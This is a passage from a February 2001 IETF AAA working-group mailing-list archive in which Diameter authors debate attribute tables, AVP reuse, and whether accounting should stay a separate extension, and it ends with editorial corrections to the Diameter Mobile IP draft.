extensions. That means that Acct-Num-Of-Packets (short form) would be defined in all extensions that need accounting and the same with user-name, ad nauseum. Comments? PatC From owner-aaa-bof@merit.edu Mon Feb 5 11:54:15 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA11723 for ; Mon, 5 Feb 2001 11:54:15 -0500 (EST) Received: by segue.merit.edu (Postfix) id 88A065DDE2; Mon, 5 Feb 2001 11:53:57 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 5BBAD5DDE7; Mon, 5 Feb 2001 11:53:57 -0500 (EST) Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by segue.merit.edu (Postfix) with ESMTP id E945B5DDC5 for ; Mon, 5 Feb 2001 11:53:55 -0500 (EST) Received: from ehdb03-home.Germany.Sun.COM ([129.157.142.202]) by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id IAA28663; Mon, 5 Feb 2001 08:53:16 -0800 (PST) Received: from vayne (muc-isdn-18 [129.157.164.118]) by ehdb03-home.Germany.Sun.COM (8.8.8+Sun/8.8.8/ENSMAIL,v2.1) with SMTP id RAA27733; Mon, 5 Feb 2001 17:53:14 +0100 (MET) Date: Mon, 5 Feb 2001 18:03:49 +0100 (MET) From: Erik Guttman Reply-To: Erik Guttman Subject: RE: [AAA-WG]: Table vs. command definitions To: gwz@cisco.com, Patrice Calhoun Cc: aaa-wg@merit.edu, Bernard Aboba , "Dmitton@Nortelnetworks.Com" In-Reply-To: "Your message with ID" Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk > > Well, yes, an incomplete table _is_ worthless, but I don't think that's why > > it's necessary to "pull in" attributes from the other spec. The real > driver > is RADIUS' pathetically small namespace. Why not create a new > attribute > (Acct-Username) instead of reusing the Username attribute from > the AA spec? > Not enough space. Presumably, we won't have this problem > w/Diameter... > > ok, looks like we have two choices: > > 1. Don't do the table > 2. Do the table, and completely revamp all the drafts to no longer > re-use AVPs from other extensions. That means that Acct-Num-Of-Packets > (short form) would be defined in all extensions that need accounting > and the same with user-name, ad nauseum. > > Comments? I think there are further problems with whacking the namespace. What's the difference between Acct-Username and Username? Yuck. But I don't understand why it is a problem to have a table in, say, the Accounting draft, which cites attributes defined in the base draft, or even other drafts - as long as the citations are clear. All the docs will progress together (to standards track). The thing is, making these tables will be a heck of a lot of work. I would be willing to take a stab at it, but we'll need several reviewers to go over it line by line. Volunteers? (Glen, I'm assuming you'll be first in line! :-) Erik From owner-aaa-bof@merit.edu Mon Feb 5 12:00:22 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA11874 for ; Mon, 5 Feb 2001 12:00:19 -0500 (EST) Received: by segue.merit.edu (Postfix) id 95AA05DDC5; Mon, 5 Feb 2001 11:59:52 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 829705DDE7; Mon, 5 Feb 2001 11:59:52 -0500 (EST) Received: from patan.sun.com (patan.Sun.COM [192.18.98.43]) by segue.merit.edu (Postfix) with ESMTP id 225A95DDC5 for ; Mon, 5 Feb 2001 11:59:51 -0500 (EST) Received: from engmail1.Eng.Sun.COM ([129.146.1.13]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA17834; Mon, 5 Feb 2001 08:59:48 -0800 (PST) Received: from nasnfs.eng.sun.com (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA26373; Mon, 5 Feb 2001 08:59:47 -0800 (PST) Received: from darius (darius.Eng.Sun.COM [10.6.84.105]) by nasnfs.eng.sun.com (8.9.3+Sun/8.9.1) with SMTP id IAA25422; Mon, 5 Feb 2001 08:59:45 -0800 (PST) Date: Mon, 5 Feb 2001 08:59:45 -0800 (PST) From: Patrice Calhoun Reply-To: Patrice Calhoun Subject: RE: [AAA-WG]: Table vs. command definitions To: Erik Guttman Cc: gwz@cisco.com, Patrice Calhoun , aaa-wg@merit.edu, Bernard Aboba , "Dmitton@Nortelnetworks.Com" In-Reply-To: "Your message with ID" Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk > > > Well, yes, an incomplete table _is_ worthless, but I don't think that's > why > > it's necessary to "pull in" attributes from the other spec. The > real > driver > is RADIUS' pathetically small namespace. Why not create a > new > attribute > (Acct-Username) instead of reusing the Username attribute > from > the AA spec? > Not enough space. Presumably, we won't have this > problem > w/Diameter... > > > ok, looks like we have two choices: > > > > 1. Don't do the table > > 2. Do the table, and completely revamp all the drafts to no longer > > re-use AVPs from other extensions. That means that Acct-Num-Of-Packets > > (short form) would be defined in all extensions that need accounting > > and the same with user-name, ad nauseum. > > > > Comments? > > I think there are further problems with whacking the namespace. > What's the difference between Acct-Username and Username? Yuck. Agreed. > > But I don't understand why it is a problem to have a table in, say, > the Accounting draft, which cites attributes defined in the base > draft, or even other drafts - as long as the citations are clear. > All the docs will progress together (to standards track). > > The thing is, making these tables will be a heck of a lot of work. > I would be willing to take a stab at it, but we'll need several > reviewers to go over it line by line. Volunteers? (Glen, I'm > assuming you'll be first in line! :-) I can tell you right now that the base protocol *will* be the worst, since the User-Name is included in every extension! PatC From owner-aaa-bof@merit.edu Mon Feb 5 12:54:53 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA12976 for ; Mon, 5 Feb 2001 12:54:52 -0500 (EST) Received: by segue.merit.edu (Postfix) id 897745DDA3; Mon, 5 Feb 2001 12:54:32 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 6C2CD5DDA8; Mon, 5 Feb 2001 12:54:32 -0500 (EST) Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by segue.merit.edu (Postfix) with ESMTP id 1257F5DDA3 for ; Mon, 5 Feb 2001 12:54:31 -0500 (EST) Received: from ehdb03-home.Germany.Sun.COM ([129.157.142.202]) by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id JAA29079; Mon, 5 Feb 2001 09:53:52 -0800 (PST) Received: from vayne (muc-isdn-18 [129.157.164.118]) by ehdb03-home.Germany.Sun.COM (8.8.8+Sun/8.8.8/ENSMAIL,v2.1) with SMTP id SAA29027; Mon, 5 Feb 2001 18:53:47 +0100 (MET) Date: Mon, 5 Feb 2001 19:04:22 +0100 (MET) From: Erik Guttman Reply-To: Erik Guttman Subject: RE: [AAA-WG]: Table vs. command definitions To: Patrice Calhoun Cc: Erik Guttman , gwz@cisco.com, aaa-wg@merit.edu, Bernard Aboba , "Dmitton@Nortelnetworks.Com" In-Reply-To: "Your message with ID" Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk Pat, > > The thing is, making these tables will be a heck of a lot of work. > > I would be willing to take a stab at it, but we'll need several > > reviewers to go over it line by line. Volunteers? (Glen, I'm > > assuming you'll be first in line! :-) > > I can tell you right now that the base protocol *will* be the worst, since > the User-Name is included in every extension! Why not just cover whichever AVPs are used by the command codes standardized in the document in question? In RADIUS (RFC 2865) the table is set up like this: 5.44. Table of Attributes The following table provides a guide to which attributes may be found in which kinds of packets, and in what quantity. Request Accept Reject Challenge # Attribute 0-1 0-1 0 0 1 User-Name ... In DIAMETER, we could set it up like this: Session- Session- Session- Termination- Termination- Termination- AVP Attribute Ind Request Answer # Name 1 1 1 1 User-Name ... In DIAMETER NASREQ, we it could be: AA- AA- AA- DIAMETER- DIAMETER- DIAMETER- AVP Attribute Request Answer Challenge- EAP- EAP- EAP- # Name Ind Request Answer Ind 0-1 0-1 1+ 0-1 0-1 1 1 User-Name ... This isn't so bad. It will really pay off to do this exercise though, since it will force us to pin down exactly how many of each of the required and recommended AVPs to put into each command. I can see in just doing User-Name there's some ambiguity between the grammar and the text. Erik From owner-aaa-bof@merit.edu Mon Feb 5 16:42:38 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA18370 for ; Mon, 5 Feb 2001 16:42:38 -0500 (EST) Received: by segue.merit.edu (Postfix) id 064FF5DE0F; Mon, 5 Feb 2001 16:40:45 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id CA1225DDEA; Mon, 5 Feb 2001 16:40:44 -0500 (EST) Received: from franklin.cisco.com (franklin.cisco.com [171.70.156.17]) by segue.merit.edu (Postfix) with ESMTP id E00295DE0F for ; Mon, 5 Feb 2001 16:40:42 -0500 (EST) Received: from gwzpc (rtp-vpn-55.cisco.com [10.82.192.55]) by franklin.cisco.com (8.8.6 (PHNE_17190)/CISCO.SERVER.1.2) with SMTP id NAA25319; Mon, 5 Feb 2001 13:40:40 -0800 (PST) Reply-To: From: "Glen Zorn" To: "Patrice Calhoun" Cc: , "Bernard Aboba" , "Dmitton@Nortelnetworks.Com" Subject: RE: [AAA-WG]: Table vs. command definitions Date: Mon, 5 Feb 2001 13:38:46 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit Pat Calhoun [mailto:pcalhoun@nasnfs.eng.sun.com] writes: > > Well, yes, an incomplete table _is_ worthless, but I don't > think that's why > > it's necessary to "pull in" attributes from the other spec. > The real driver > > is RADIUS' pathetically small namespace. Why not create a new attribute > > (Acct-Username) instead of reusing the Username attribute from > the AA spec? > > Not enough space. Presumably, we won't have this problem w/Diameter... > > ok, looks like we have two choices: > > 1. Don't do the table > 2. Do the table, and completely revamp all the drafts to no longer > re-use AVPs from other extensions. That means that > Acct-Num-Of-Packets > (short form) would be defined in all extensions that > need accounting > and the same with user-name, ad nauseum. It may seem nauseating to you (maybe it's just the amount of typing involved in the documents?) but it seems clean and straightforward (if somewhat inelegant) to me. The benefit is that the documents (and extension sub-protocols) are self-contained, so that you don't have to chase through multiple docs to find AVP and message definitions. For that matter, I can see no good reason to maintain the artificial separation between accounting and the other 2 As, just because RADIUS did it that way. Why is there such a thing as an accounting "extension"? If this is a AAA protocol, the defining one of the As as an extension seems silly -- accounting is integral, not extensional. So I would propose that each of the extension docs (and the base, for that matter) define its own accounting AVPs (and messages, if necessary). If done right, this approach could eliminate many of the irritating idiosyncrasies in RADIUS (such as sticking a phone number in the User-Name attribute just because the RFC says that the User-Name Attribute MUST be present. > > Comments? > > PatC > > From owner-aaa-bof@merit.edu Mon Feb 5 17:06:06 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA18775 for ; Mon, 5 Feb 2001 17:06:06 -0500 (EST) Received: by segue.merit.edu (Postfix) id EC5425DDFB; Mon, 5 Feb 2001 17:04:57 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id B6E6B5DDFC; Mon, 5 Feb 2001 17:04:57 -0500 (EST) Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by segue.merit.edu (Postfix) with ESMTP id 869255DDFB for ; Mon, 5 Feb 2001 17:04:52 -0500 (EST) Received: from engmail2.Eng.Sun.COM ([129.146.1.25]) by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id OAA17486; Mon, 5 Feb 2001 14:04:49 -0800 (PST) Received: from nasnfs.eng.sun.com (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA00071; Mon, 5 Feb 2001 14:04:49 -0800 (PST) Received: from darius (darius.Eng.Sun.COM [10.6.84.105]) by nasnfs.eng.sun.com (8.9.3+Sun/8.9.1) with SMTP id OAA00849; Mon, 5 Feb 2001 14:04:47 -0800 (PST) Date: Mon, 5 Feb 2001 14:04:46 -0800 (PST) From: Patrice Calhoun Reply-To: Patrice Calhoun Subject: RE: [AAA-WG]: Table vs. command definitions To: gwz@cisco.com Cc: Patrice Calhoun , aaa-wg@merit.edu, Bernard Aboba , "Dmitton@Nortelnetworks.Com" In-Reply-To: "Your message with ID" Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk > It may seem nauseating to you (maybe it's just the amount of typing involved > in the documents?) but it seems clean and straightforward (if somewhat > inelegant) to me. Trust me... after the number of revisions and re-writes of these documents, the tables are irrelevant (as far as amount of typing). However, I don't want to do something that is useless, hence my (largely unanswered) questions. Erik and I worked REAL hard some time back to slim down the documents, and I am (and have been) somewhat reluctant to bloat them again. > The benefit is that the documents (and extension > sub-protocols) are self-contained, so that you don't have to chase through > multiple docs to find AVP and message definitions. I assumed you really didn't mean what you typed. Each document would, at best, describe the all the AVPs and how they are used with the messages defined in the particular extension. Or were you actually proposing that the same table (all AVPs + all commands) be defined in all extensions? > For that matter, I can > see no good reason to maintain the artificial separation between accounting > and the other 2 As, just because RADIUS did it that way. Why is there such > a thing as an accounting "extension"? I will assume this wasn't really a question, given that you are co-author of the said document. > If this is a AAA protocol, the > defining one of the As as an extension seems silly -- accounting is > integral, not extensional. So I would propose that each of the extension > docs (and the base, for that matter) define its own accounting AVPs (and > messages, if necessary). If done right, this approach could eliminate many > of the irritating idiosyncrasies in RADIUS (such as sticking a phone number > in the User-Name attribute just because the RFC says that the User-Name > Attribute MUST be present. So, if I understand correctly, you would propose that the base protocol ONLY include AVPs that are used within the base protocol. The accounting extension would be propagated to the Mobile IP and NASREQ extension, with duplicate messages and AVPs. NASREQ and Mobile IP would not use any of the AVPs in the base protocol. I am OK with doing such a change, if the WG really thinks this is the way to go. I know that as a developers, I REALLY hate to have to duplicate unnecessary code, and this would in fact cause some duplication. But it actually might make the specs more modular. PatC From owner-aaa-bof@merit.edu Mon Feb 5 17:38:18 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA19494 for ; Mon, 5 Feb 2001 17:38:18 -0500 (EST) Received: by segue.merit.edu (Postfix) id B0F2A5DDB7; Mon, 5 Feb 2001 17:37:55 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 9F1725DDA4; Mon, 5 Feb 2001 17:37:55 -0500 (EST) Received: from franklin.cisco.com (franklin.cisco.com [171.70.156.17]) by segue.merit.edu (Postfix) with ESMTP id 1E1BE5DD9D for ; Mon, 5 Feb 2001 17:37:54 -0500 (EST) Received: from gwzpc (rtp-vpn-55.cisco.com [10.82.192.55]) by franklin.cisco.com (8.8.6 (PHNE_17190)/CISCO.SERVER.1.2) with SMTP id OAA17159; Mon, 5 Feb 2001 14:37:51 -0800 (PST) Reply-To: From: "Glen Zorn" To: "Patrice Calhoun" Cc: , "Bernard Aboba" , "Dmitton@Nortelnetworks.Com" Subject: RE: [AAA-WG]: Table vs. command definitions Date: Mon, 5 Feb 2001 14:35:21 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit Patrice Calhoun [mailto:pcalhoun@nasnfs.eng.sun.com] writes: > > It may seem nauseating to you (maybe it's just the amount of > typing involved > > in the documents?) but it seems clean and straightforward (if somewhat > > inelegant) to me. > > Trust me... after the number of revisions and re-writes of these > documents, > the tables are irrelevant (as far as amount of typing). However, > I don't want > to do something that is useless, hence my (largely unanswered) > questions. Erik > and I worked REAL hard some time back to slim down the documents, and I am > (and have been) somewhat reluctant to bloat them again. Just because something is large doesn't mean that it's bloated, any more than smallness makes it elegant. > > > The benefit is that the documents (and extension > > sub-protocols) are self-contained, so that you don't have to > chase through > > multiple docs to find AVP and message definitions. > > I assumed you really didn't mean what you typed. Each document > would, at best, > describe the all the AVPs and how they are used with the messages > defined in > the particular extension. I thought that that was what I said. > Or were you actually proposing that the > same table > (all AVPs + all commands) be defined in all extensions? None of the above. I think that Diameter started out to be "base+extension", not "base+extension1+extension2+part of extension3" & that's what I'm saying it should be. > > > For that matter, I can > > see no good reason to maintain the artificial separation > between accounting > > and the other 2 As, just because RADIUS did it that way. Why > is there such > > a thing as an accounting "extension"? > > I will assume this wasn't really a question, given that you are > co-author of > the said document. No, it really was a question, and I'm questioning the existence of such a document. I admit that I rather blindly went along with the idea of an accounting extension for some timel however, onfurther reflection I've come to see it as basically just a holdover from RADIUS, > > > If this is a AAA protocol, the > > defining one of the As as an extension seems silly -- accounting is > > integral, not extensional. So I would propose that each of the > extension > > docs (and the base, for that matter) define its own accounting AVPs (and > > messages, if necessary). If done right, this approach could > eliminate many > > of the irritating idiosyncrasies in RADIUS (such as sticking a > phone number > > in the User-Name attribute just because the RFC says that the User-Name > > Attribute MUST be present. > > So, if I understand correctly, you would propose that the base > protocol ONLY > include AVPs that are used within the base protocol. Yes and no. Are there accounting requirements for the base protocol? If so, define those accounting AVPs and messages as part of the base protocol; if not, then don't. > The > accounting extension > would be propagated to the Mobile IP and NASREQ extension, with duplicate > messages and AVPs. NASREQ and Mobile IP would not use any of the > AVPs in the > base protocol. If the Mobile IP and NASREQ extensions are actually that, then presumably it is because they have unique requirements which are not satisfied by a one-size-fits-all base protocol. I imagine that this uniqueness extends to accounting, as well. Some of the messages and AVPs may be syntactic duplicates, but semantically different; some may be missing altogether and yet others may be special purpose inventions. > > I am OK with doing such a change, if the WG really thinks this is > the way to > go. I know that as a developers, I REALLY hate to have to duplicate > unnecessary code, and this would in fact cause some duplication. If the messages are _actually_ duplicates, then the duplication of code should be practically non-existent; if, however, the messages/AVPs are _almost_ but not quite the same, I would argue that the deserve their own code anyway. > But it > actually might make the specs more modular. Code, too. > > PatC > > From owner-aaa-bof@merit.edu Mon Feb 5 17:41:52 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA19585 for ; Mon, 5 Feb 2001 17:41:47 -0500 (EST) Received: by segue.merit.edu (Postfix) id 845DE5DDA4; Mon, 5 Feb 2001 17:41:28 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 71DF15DD9D; Mon, 5 Feb 2001 17:41:28 -0500 (EST) Received: from patan.sun.com (patan.Sun.COM [192.18.98.43]) by segue.merit.edu (Postfix) with ESMTP id 1435B5DD96 for ; Mon, 5 Feb 2001 17:41:27 -0500 (EST) Received: from engmail4.Eng.Sun.COM ([129.144.134.6]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA21284; Mon, 5 Feb 2001 14:41:23 -0800 (PST) Received: from nasnfs.eng.sun.com (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA07616; Mon, 5 Feb 2001 14:41:23 -0800 (PST) Received: from darius (darius.Eng.Sun.COM [10.6.84.105]) by nasnfs.eng.sun.com (8.9.3+Sun/8.9.1) with SMTP id OAA01204; Mon, 5 Feb 2001 14:41:20 -0800 (PST) Date: Mon, 5 Feb 2001 14:41:20 -0800 (PST) From: Patrice Calhoun Reply-To: Patrice Calhoun Subject: RE: [AAA-WG]: Table vs. command definitions To: gwz@cisco.com Cc: Patrice Calhoun , aaa-wg@merit.edu, Bernard Aboba , "Dmitton@Nortelnetworks.Com" In-Reply-To: "Your message with ID" Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk Glen, Given this discussion, I am much more in favor of pulling the accounting extensino into the base protocol, as opposed to duplicating it in the Mobile IP and NASREQ extension. Would this work for you? PatC > Patrice Calhoun [mailto:pcalhoun@nasnfs.eng.sun.com] writes: > > > > It may seem nauseating to you (maybe it's just the amount of > > typing involved > > > in the documents?) but it seems clean and straightforward (if somewhat > > > inelegant) to me. > > > > Trust me... after the number of revisions and re-writes of these > > documents, > > the tables are irrelevant (as far as amount of typing). However, > > I don't want > > to do something that is useless, hence my (largely unanswered) > > questions. Erik > > and I worked REAL hard some time back to slim down the documents, and I am > > (and have been) somewhat reluctant to bloat them again. > > Just because something is large doesn't mean that it's bloated, any more > than smallness makes it elegant. > > > > > > The benefit is that the documents (and extension > > > sub-protocols) are self-contained, so that you don't have to > > chase through > > > multiple docs to find AVP and message definitions. > > > > I assumed you really didn't mean what you typed. Each document > > would, at best, > > describe the all the AVPs and how they are used with the messages > > defined in > > the particular extension. > > I thought that that was what I said. > > > Or were you actually proposing that the > > same table > > (all AVPs + all commands) be defined in all extensions? > > None of the above. I think that Diameter started out to be > "base+extension", not "base+extension1+extension2+part of extension3" & > that's what I'm saying it should be. > > > > > For that matter, I can > > > see no good reason to maintain the artificial separation > > between accounting > > > and the other 2 As, just because RADIUS did it that way. Why > > is there such > > > a thing as an accounting "extension"? > > > > I will assume this wasn't really a question, given that you are > > co-author of > > the said document. > > No, it really was a question, and I'm questioning the existence of such a > document. I admit that I rather blindly went along with the idea of an > accounting extension for some timel however, onfurther reflection I've come > to see it as basically just a holdover from RADIUS, > > > > > > If this is a AAA protocol, the > > > defining one of the As as an extension seems silly -- accounting is > > > integral, not extensional. So I would propose that each of the > > extension > > > docs (and the base, for that matter) define its own accounting AVPs (and > > > messages, if necessary). If done right, this approach could > > eliminate many > > > of the irritating idiosyncrasies in RADIUS (such as sticking a > > phone number > > > in the User-Name attribute just because the RFC says that the User-Name > > > Attribute MUST be present. > > > > So, if I understand correctly, you would propose that the base > > protocol ONLY > > include AVPs that are used within the base protocol. > > Yes and no. Are there accounting requirements for the base protocol? If > so, define those accounting AVPs and messages as part of the base protocol; > if not, then don't. > > > The > > accounting extension > > would be propagated to the Mobile IP and NASREQ extension, with duplicate > > messages and AVPs. NASREQ and Mobile IP would not use any of the > > AVPs in the > > base protocol. > > If the Mobile IP and NASREQ extensions are actually that, then presumably it > is because they have unique requirements which are not satisfied by a > one-size-fits-all base protocol. I imagine that this uniqueness extends to > accounting, as well. Some of the messages and AVPs may be syntactic > duplicates, but semantically different; some may be missing altogether and > yet others may be special purpose inventions. > > > > > I am OK with doing such a change, if the WG really thinks this is > > the way to > > go. I know that as a developers, I REALLY hate to have to duplicate > > unnecessary code, and this would in fact cause some duplication. > > If the messages are _actually_ duplicates, then the duplication of code > should be practically non-existent; if, however, the messages/AVPs are > _almost_ but not quite the same, I would argue that the deserve their own > code anyway. > > > But it > > actually might make the specs more modular. > > Code, too. > > > > > PatC > > > > > From owner-aaa-bof@merit.edu Tue Feb 6 12:34:16 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA24230 for ; Tue, 6 Feb 2001 12:34:16 -0500 (EST) Received: by segue.merit.edu (Postfix) id 0E8EB5DE3C; Tue, 6 Feb 2001 12:32:22 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id F05695DE3A; Tue, 6 Feb 2001 12:32:21 -0500 (EST) Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by segue.merit.edu (Postfix) with ESMTP id D105E5DE24 for ; Tue, 6 Feb 2001 12:32:20 -0500 (EST) Received: from ehdb03-home.Germany.Sun.COM ([129.157.142.202]) by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id JAA04813; Tue, 6 Feb 2001 09:30:34 -0800 (PST) Received: from vayne (muc-isdn-7 [129.157.164.107]) by ehdb03-home.Germany.Sun.COM (8.8.8+Sun/8.8.8/ENSMAIL,v2.1) with SMTP id SAA18168; Tue, 6 Feb 2001 18:30:28 +0100 (MET) Date: Tue, 6 Feb 2001 18:41:03 +0100 (MET) From: Erik Guttman Reply-To: Erik Guttman Subject: RE: [AAA-WG]: Table vs. command definitions To: Patrice Calhoun , gwz@cisco.com Cc: aaa-wg@merit.edu, Bernard Aboba , "Dmitton@Nortelnetworks.Com" In-Reply-To: "Your message with ID" Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk Glen, Pat, >> Glen wrote: >>> For that matter, I can see no good reason to maintain the artificial >>> separation between accounting and the other 2 As, just because RADIUS >>> did it that way. Why is there such a thing as an accounting "extension"? > Pat replied: >> I will assume this wasn't really a question, given that you are >> co-author of the said document. Glen responded: > No, it really was a question, and I'm questioning the existence of such a > document. I admit that I rather blindly went along with the idea of an > accounting extension for some timel however, onfurther reflection I've come > to see it as basically just a holdover from RADIUS, Its Feb 6. Feb 18 is the -00 cut-off date for internet drafts. Lots and lots of review has gone into the current Diameter docs. What you are suggesting is a major rewrite. Apart from the work involved, there is a big risk of messing up the documents. Time is short and I don't think there is much to be gained by folding the docs together. Does anyone on the AAA WG list support Glen's proposal of a major re-editing of the Diameter spec (merging in Accounting)? > Pat wrote: >> The accounting extension would be propagated to the Mobile IP and NASREQ >> extension, with duplicate messages and AVPs. NASREQ and Mobile IP would >> not use any of the AVPs in the base protocol. Glen replied: > If the Mobile IP and NASREQ extensions are actually that, then presumably it > is because they have unique requirements which are not satisfied by a > one-size-fits-all base protocol. I imagine that this uniqueness extends to > accounting, as well. Some of the messages and AVPs may be syntactic > duplicates, but semantically different; some may be missing altogether and > yet others may be special purpose inventions. I like the idea of adding tables. I suggested that we have tables in each draft which introduces command codes - for those command codes. We simply give a reference to the draft in which the AVPs are defined if they aren't defined in the same document. There is no problem using AVPs from the base protocol in the tables in other drafts. I don't agree there's a problem that needs to be solved. Am I missing something? This is a big job and there's not much time left. Let's stop arguing about this and get to work. Otherwise we won't have tables in the -00 draft. Erik From owner-aaa-bof@merit.edu Wed Feb 7 11:19:31 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA02756 for ; Wed, 7 Feb 2001 11:19:31 -0500 (EST) Received: by segue.merit.edu (Postfix) id B17EE5DE3D; Wed, 7 Feb 2001 11:17:20 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 923A85DE39; Wed, 7 Feb 2001 11:17:20 -0500 (EST) Received: from localhost.ipunplugged.com (unknown [213.88.134.217]) by segue.merit.edu (Postfix) with ESMTP id 818765DE3D for ; Wed, 7 Feb 2001 11:17:18 -0500 (EST) Received: from fredrikj (c38.local.ipunplugged.com [192.168.4.237]) by localhost.ipunplugged.com (8.9.3/8.9.3) with SMTP id RAA06683 for ; Wed, 7 Feb 2001 17:17:50 +0100 From: "Fredrik Johansson" To: "AAA Listan" Subject: [AAA-WG]: Comments on draft-calhoun-diameter-mobileip-12.txt Date: Wed, 7 Feb 2001 17:19:38 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 8bit Hi, Some comments on the above mentioned draft: section 1.2 §2. "The request received by the AAAF is forwarded to abc.com's AAAH server." should be to xyz.com's AAAH server. section 2.1 "If the mobile node's home address is zero, the foreign agent MUST NOT include a MIP-Mobile-Node-Address AVP in the AMR. In this case, the AAAF MAY set the Foreign-Home-Agent-Available flag in the MIP-Feature-Vector AVP in the AMR message to indicate that it is willing to assign a Home Agent in the visited domain." Should it be: "If the mobile node's Home Agent address is zero, the foreign agent MUST NOT include a MIP-Home-Agent-Address AVP in the AMR. ..." Should the Session-ID AVP be { Session-ID } or < Session-ID >, since it is required and draft-calhoun-diameter-base-18.txt states that "When present the Session-ID SHOULD appear immediatelly following the Diameter Header", I believe it should be Message Format ::= or {Session-ID} <------ {User-Name} {Host-Name} . . . Same thing applies to all messages. Section 2.2 §3 "The AMA message MUST contain the MIP-FA-to-HA-Key, MIP-FA-to-MN-Key and MIP-Reg-Reply AVPs if they were received by AAAH in the HAA message." Should the keys be sent via the Home Agent, according to section 5. FA-to-Ha and Fa-to-Mn keys are only included in the AMA, thus never received in the HAA. Section 3.1 DIAMETER_ERROR_BAD_HAR-day 6013 What's the -day? Section 5.2 Shouldn't the Mn-Fa-key be copied to the General MN-FA Key Reply Extension, not the Registration Key Reply from Home Agent. If so, the reference should be to [15] not [17] Reference 15 draft-calhoun-mobileip-aaa-key-01.txt should be 03.txt /Fredrik ---------------------------------------------------------------------------- ------- Fredrik Johansson W: +46 (0)8 725 5916 Interactive People Unplugged M: +46 (0)70 786 5035 